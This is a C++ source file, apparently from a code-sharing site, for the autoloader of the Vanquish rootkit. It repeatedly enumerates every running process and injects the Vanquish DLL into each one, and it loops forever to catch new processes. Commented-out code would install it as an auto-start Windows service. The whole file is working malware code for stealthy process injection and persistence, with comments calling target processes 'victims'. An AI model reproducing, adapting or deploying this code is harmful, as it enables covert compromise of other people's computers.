www.pudn.com > abot.rar > Autoloader.cpp, change:2007-05-12,size:13444b


/******************************************************************************\ 
 
	Vanquish Autoloader - Copyright (c)2003-2005 XShadow, All rights reserved. 
 
	This program is free software; you can redistribute it but not modify 
	it under the terms of license.txt file that came with this package 
 
	This program is distributed in the hope that it will be useful, 
	but WITHOUT ANY WARRANTY; without even the implied warranty of 
	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 
	license for more details. 
 
\******************************************************************************/ 
 
#include <windows.h> 
#include <tlhelp32.h> 
#include "..\Injector.h" 
#include "..\Utils.h" 
 
//constants for service handling 
//#define VANQUISH_SERVICE_Q "vanquish" 
//#define VANQUISH_SERVICE_NAME "Vanquish Autoloader v0.2.1" 
#define WAITHINT 500 
 
//service status 
SERVICE_STATUS ssStatus; 
SERVICE_STATUS_HANDLE sshStatusHandle; 
 
//for injector 
DECLARE_MODULE(KERNEL32); 
 
//for exception handling 
HMODULE hVanquishModule; 
 
//prototypes 
BOOL CALLBACK MyEnumWindowsProc(HWND hWnd, LPARAM lParam); 
void VanquishInjectAll(DWORD dwUnload); 
//void WINAPI SrvAutoloaderHandler(DWORD fdwControl); 
//void WINAPI SrvAutoloaderMain(DWORD dwArgc, LPTSTR *lpszArgv); 
BOOL ReportSCM(DWORD dwCurrentState, DWORD dwWin32ExitCode, DWORD dwWaitHint); 
//void CmdInstallService(); 
//void CmdRemoveService(); 
VOID WINAPI __VanquishEntryPoint(); 
int WINAPI __WinMain(HINSTANCE hImage, LPWSTR lpCmd); 
 
//implementation 
BOOL CALLBACK MyEnumWindowsProc(HWND hWnd, LPARAM lParam) 
{ 
	PROCESS_INFORMATION pi; 
 
	GetWindowThreadProcessId(hWnd, &(pi.dwProcessId)); 
	pi.dwThreadId = 0; 
	pi.hProcess = NULL; 
	pi.hThread = NULL; 
	Vanquish_SafeInjectProcess(&pi, VANQUISHINJECT_PRESUSPENDTHREAD | VANQUISHINJECT_POSTRESUMETHREAD); 
 
	return TRUE; //continue enumerating 
} 
 
void VanquishInjectAll(DWORD dwUnload) 
{ 
	HANDLE hSnap = NULL; 
	LPPROCESSENTRY32 lpPE = NULL, lpPE_OLD = NULL; 
	const DWORD dwPEcnt_MAX = 2048; //maximum number of processes so we won't clog up memory (just in case) 
	DWORD dwPE = 0, dwPE_OLD = 0, dwPEcnt = 64; //64 processes should be enough (automatic resized array anyways, check code...) 
	BOOL bSuccess = FALSE, bSame, bFound; 
	LPVOID lpTemp; 
	DWORD i, j, dwOurPID, dwPID; 
	PROCESS_INFORMATION pi; 
 
	//it will fail otherwise... 
	LOAD_MODULE(KERNEL32); 
 
	//prepare the injector 
	if (!Vanquish_PrepareInjector()) 
		return; //we will crash windows if injector fails; so we quit 
 
	//allocate memory 
	lpPE = (LPPROCESSENTRY32)VRTAlloc(dwPEcnt * sizeof(PROCESSENTRY32)); 
	lpPE_OLD = (LPPROCESSENTRY32)VRTAlloc(dwPEcnt * sizeof(PROCESSENTRY32)); 
 
	//at this point we use goto cleanup to free memory 
	if (!lpPE) goto cleanup; 
 
	//get our pid so we don't inject ourselves ;) 
	dwOurPID = GetCurrentProcessId(); 
 
	for (;;) 
	{ 
		hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 
		if ((DWORD)hSnap == MAXDWORD) //so says the documentation (-1 is failed) 
			goto defmethod; //default method 
 
		//get all PE data 
		lpPE[dwPE].dwSize = sizeof(PROCESSENTRY32); 
		if (!Process32First(hSnap, &lpPE[dwPE])) goto cleanup; 
		for (;;) 
		{ 
			dwPE++; 
			if (dwPE >= dwPEcnt) 
			{ 
				dwPEcnt = dwPEcnt << 1; //double memory 
				if (dwPEcnt > dwPEcnt_MAX) goto cleanup; //make sure we don't use too much memory 
 
				//realloc current 
				lpTemp = VRTReAlloc(lpPE, dwPEcnt * sizeof(PROCESSENTRY32)); 
				if (!lpTemp) goto cleanup; 
				lpPE = (LPPROCESSENTRY32)lpTemp; 
 
				//realloc old 
				lpTemp = VRTReAlloc(lpPE_OLD, dwPEcnt * sizeof(PROCESSENTRY32)); 
				if (!lpTemp) goto cleanup; 
				lpPE_OLD = (LPPROCESSENTRY32)lpTemp; 
			} 
			lpPE[dwPE].dwSize = sizeof(PROCESSENTRY32); 
			if (!Process32Next(hSnap, &lpPE[dwPE])) break; 
		} 
 
		if (hSnap) CloseHandle(hSnap); 
 
		//cycle through processes 
		for (i = 0; i < dwPE; i++) 
		{ 
			dwPID = lpPE[i].th32ProcessID; 
 
			//sanity check (do not enum ourselves or we'll hang) 
			if (dwPID == dwOurPID) continue; 
 
			//inject vanquish 
			pi.dwProcessId = dwPID; 
			pi.dwThreadId = 0; 
			pi.hProcess = NULL; 
			pi.hThread = NULL; 
 
			//if it is the case then unload, else do loading 
			if (dwUnload == 1) 
				Vanquish_SafeInjectProcess(&pi, VANQUISHINJECT_PRESUSPENDTHREAD | VANQUISHINJECT_POSTRESUMETHREAD | VANQUISHINJECT_UNLOADVANQUISH); 
			else 
				Vanquish_SafeInjectProcess(&pi, VANQUISHINJECT_PRESUSPENDTHREAD | VANQUISHINJECT_POSTRESUMETHREAD); 
		} 
 
		//PS: we cycle again through them to see if any new process has risen while we were injecting 
		bSame = TRUE; 
		for (i = 0; i < dwPE; i++) 
		{ 
			bFound = FALSE; 
			dwPID = lpPE[i].th32ProcessID; 
 
			for (j = 0; j < dwPE_OLD; j++) 
			{ 
				if (lpPE_OLD[j].th32ProcessID == dwPID) 
				{ 
					bFound = TRUE; 
					break; 
				} 
			} 
			if (bFound == FALSE) 
			{ 
				bSame = FALSE; 
 
				dwPE_OLD++; 
				if (dwPE_OLD >= dwPEcnt) 
				{ 
					dwPEcnt = dwPEcnt << 1; //double memory 
					if (dwPEcnt > dwPEcnt_MAX) goto cleanup; //make sure we don't use too much memory 
 
					//realloc current 
					lpTemp = VRTReAlloc(lpPE, dwPEcnt * sizeof(PROCESSENTRY32)); 
					if (!lpTemp) goto cleanup; 
					lpPE = (LPPROCESSENTRY32)lpTemp; 
 
					//realloc old 
					lpTemp = VRTReAlloc(lpPE_OLD, dwPEcnt * sizeof(PROCESSENTRY32)); 
					if (!lpTemp) goto cleanup; 
					lpPE_OLD = (LPPROCESSENTRY32)lpTemp; 
				} 
 
				//remember our victim 
				lpPE_OLD[dwPE_OLD - 1] = lpPE[i]; 
 
				//we found some new shit so we inject it right away! 
				dwPID = lpPE[i].th32ProcessID; 
 
				//sanity check (do not enum ourselves or we'll hang) 
				if (dwPID == dwOurPID) continue; 
 
				//inject vanquish 
				pi.dwProcessId = dwPID; 
				pi.dwThreadId = 0; 
				pi.hProcess = NULL; 
				pi.hThread = NULL; 
 
				//if it is the case then unload, else do loading 
				if (dwUnload == 1) 
					Vanquish_SafeInjectProcess(&pi, VANQUISHINJECT_PRESUSPENDTHREAD | VANQUISHINJECT_POSTRESUMETHREAD | VANQUISHINJECT_UNLOADVANQUISH); 
				else 
					Vanquish_SafeInjectProcess(&pi, VANQUISHINJECT_PRESUSPENDTHREAD | VANQUISHINJECT_POSTRESUMETHREAD); 
			} 
		} 
 
		if (bSame) break; //we have them all :) 
 
		//dwPE_OLD <- new pids from dwPE; clear dwPE (conserve memory) 
		dwPE = 0; 
	} 
	bSuccess = TRUE; 
 
cleanup: 
	if (hSnap) CloseHandle(hSnap); 
	if (lpPE) VRTFree(lpPE); 
	if (bSuccess) return; //otherwise we try defmethod 
defmethod: 
	//no way to enumerate all processes! 
	//at least enumerate and update ALL windows! 
	VRTWriteLog(FALSE, 0, NULL, "WARNING! Toolhelp32 not available! Default window-listing method used. Background services may not get injected.\r\n"); 
	EnumWindows((WNDENUMPROC)MyEnumWindowsProc, 0); 
} 
 
/*void WINAPI SrvAutoloaderHandler(DWORD fdwControl) 
{ 
	//thread usage: same as WinMain 
 
	switch (fdwControl) 
	{ 
	case SERVICE_CONTROL_STOP: 
		//we are stopping NOW! 
		ReportSCM(SERVICE_STOP_PENDING, NO_ERROR, 0); 
		return; 
	default: 
		break; 
	} 
	ReportSCM(ssStatus.dwCurrentState, NO_ERROR, 0); 
}*/ 
 
/*void WINAPI SrvAutoloaderMain(DWORD dwArgc, LPTSTR *lpszArgv) 
{ 
	//thread usage: NEW CREATED 
 
	//registering service handler 
	sshStatusHandle = RegisterServiceCtrlHandler(VANQUISH_SERVICE_NAME, (LPHANDLER_FUNCTION)SrvAutoloaderHandler); 
	if (!sshStatusHandle) return; 
 
	ssStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS | SERVICE_INTERACTIVE_PROCESS; 
 
	ReportSCM(SERVICE_START_PENDING, NO_ERROR, WAITHINT); 
	//VanquishInjectAll(); already did this 
	Sleep(WAITHINT); 
	ReportSCM(SERVICE_STOPPED, NO_ERROR, 0); 
}*/ 
 
/*BOOL ReportSCM(DWORD dwCurrentState, DWORD dwWin32ExitCode, DWORD dwWaitHint) 
{ 
    static DWORD dwCheckPoint = 1; 
    BOOL fResult = TRUE; 
 
    if (dwCurrentState == SERVICE_START_PENDING) 
        ssStatus.dwControlsAccepted = 0; 
    else 
        ssStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP; 
 
	//update things 
    ssStatus.dwCurrentState = dwCurrentState; 
    ssStatus.dwWin32ExitCode = dwWin32ExitCode; 
    ssStatus.dwWaitHint = dwWaitHint; 
 
	//reset and update checkpoint 
    if ((dwCurrentState == SERVICE_RUNNING) || (dwCurrentState == SERVICE_STOPPED)) dwCheckPoint = 0; 
    else dwCheckPoint++; 
	ssStatus.dwCheckPoint = dwCheckPoint; 
 
	//finally update our status to SCM 
    if (!(fResult = SetServiceStatus(sshStatusHandle, &ssStatus))) 
	{ 
		//VRTWriteLog(TRUE, GetLastError(), NULL, "SetServiceStatus() failed.\r\n"); 
		return FALSE; 
    } 
    return fResult; 
}*/ 
 
/*void CmdInstallService() 
{ 
    SC_HANDLE schService; 
    SC_HANDLE schSCManager; 
 
    char szPath[512]; 
 
	//find out our complete path 
    if (GetModuleFileName(NULL, szPath + 1, 512) == 0) 
    { 
        VRTWriteLog(TRUE, GetLastError(), NULL, "Unable to install service.\r\n"); 
        return; 
    } 
 
	//stringize it 
	szPath[0] = '\"'; 
	szPath[STR_NUMCHA(szPath) + 1] = 0; 
	szPath[STR_NUMCHA(szPath)] = '\"'; 
 
	//open SCM 
    schSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); 
    if (schSCManager) 
    { 
		//new service 
        schService = CreateService( 
            schSCManager, 
            VANQUISH_SERVICE_Q, 
            VANQUISH_SERVICE_NAME, 
            SERVICE_ALL_ACCESS, 
            SERVICE_WIN32_OWN_PROCESS | SERVICE_INTERACTIVE_PROCESS, 
            SERVICE_AUTO_START, 
            SERVICE_ERROR_NORMAL, 
            szPath, 
            NULL, 
            NULL, 
            NULL, 
            NULL, 
            NULL); 
 
        if (schService) 
			VRTWriteLog(FALSE, 0, NULL, "Service installed successfully.\r\n"); 
        else 
			VRTWriteLog(TRUE, GetLastError(), NULL, "Service install failed.\r\n"); 
 
        CloseServiceHandle(schSCManager); 
    } 
    else 
        VRTWriteLog(TRUE, GetLastError(), NULL, "Cannot open SCM! Maybe not admin!?\r\n"); 
} 
 
void CmdRemoveService() 
{ 
    SC_HANDLE schService; 
    SC_HANDLE schSCManager; 
 
	//open SCM 
    schSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); 
    if (schSCManager) 
    { 
		//open service 
        schService = OpenService(schSCManager, VANQUISH_SERVICE_Q, SERVICE_ALL_ACCESS); 
 
        if (schService) 
        { 
			//first stop it... 
            if (ControlService(schService, SERVICE_CONTROL_STOP, &ssStatus)) 
            { 
                Sleep(WAITHINT); 
 
                while (QueryServiceStatus(schService, &ssStatus)) 
                { 
                    if (ssStatus.dwCurrentState == SERVICE_STOP_PENDING) 
                        Sleep(WAITHINT); 
                    else 
                        break; 
                } 
            } 
 
			//then delete it 
            if (DeleteService(schService)) 
                VRTWriteLog(FALSE, 0, NULL, "Service removed successfully.\r\n"); 
            else 
                VRTWriteLog(TRUE, GetLastError(), NULL, "Service removal failed.\r\n"); 
 
 
            CloseServiceHandle(schService); 
        } 
        else 
            VRTWriteLog(TRUE, GetLastError(), NULL, "Cannot open Vanquish Service! Maybe not installed!?\r\n"); 
 
        CloseServiceHandle(schSCManager); 
    } 
    else 
        VRTWriteLog(TRUE, GetLastError(), NULL, "Cannot open SCM! Maybe not admin!?\r\n"); 
}*/ 
 
//this is in place fo the c/c++ CRT entrypoint 
VOID WINAPI __VanquishEntryPoint() 
{ 
	int winmain_ret; 
 
	hVanquishModule = GetModuleHandleW(NULL); //for exception handler 
	VRTInit(); //initialize run time library 
 
	LPWSTR lpszCommandLine = GetCommandLineW(); 
 
    //skip past program name (first token in command line). 
    if (*lpszCommandLine == (WCHAR)'"')  //check for and handle quoted program name 
    { 
		lpszCommandLine++; 
 
        //scan, and skip over, subsequent characters until another 
        //double-quote or a null is encountered 
        while(*lpszCommandLine && (*lpszCommandLine != (WCHAR)'"')) 
            lpszCommandLine++; 
 
        //if we stopped on a double-quote (usual case), skip over it 
        if (*lpszCommandLine == (WCHAR)'"') 
            lpszCommandLine++; 
    } 
    else //first token wasn't a quote 
    { 
        while (*lpszCommandLine > (WCHAR)' ') 
            lpszCommandLine++; 
    } 
 
    //skip past any white space preceeding the second token. 
    while (*lpszCommandLine && (*lpszCommandLine <= (WCHAR)' ')) 
        lpszCommandLine++; 
 
	winmain_ret = __WinMain(hVanquishModule, lpszCommandLine); 
 
	//bye bye! 
	VRTDeInit(); 
	ExitProcess(winmain_ret); 
} 
 
//the stripped WinMain thing... 
int WINAPI __WinMain(HINSTANCE hImage, LPWSTR lpCmd) 
{ 
	/*SERVICE_TABLE_ENTRY steVanquish[] = 
	{ 
		{VANQUISH_SERVICE_Q, (LPSERVICE_MAIN_FUNCTION)SrvAutoloaderMain}, 
		{NULL, NULL} 
	};*/ 
 
	//command line options processing 
//	if (lstrcmpiW(lpCmd, L"-install") == 0) 
//	{ 
	//	CmdInstallService(); 
	int Rezor = 1; 
	while (Rezor) 
	{ 
		VanquishInjectAll(0); //inject dll into all programs 
		Sleep(10000); 
	} 
	//	return 0; 
//	} 
 
//	if (lstrcmpiW(lpCmd, L"-remove") == 0) 
//	{ 
//		VanquishInjectAll(1); //remove vanquish from programs 
	//	CmdRemoveService(); 
//		Sleep(1000); 
	//	return 0; 
//	} 
 
	//we are ACTIVE! 
//	VanquishInjectAll(0); //inject dll into all programs 
	//Sleep(1000); 
 
	//service starting... and stopping ;) 
//	if (!StartServiceCtrlDispatcher(steVanquish)) 
//	{ 
//		VRTWriteLog(TRUE, GetLastError(), NULL, "Service Control Dispatcher failed.\r\n"); 
//		return 1; 
//	} 
 
	return 0; 
}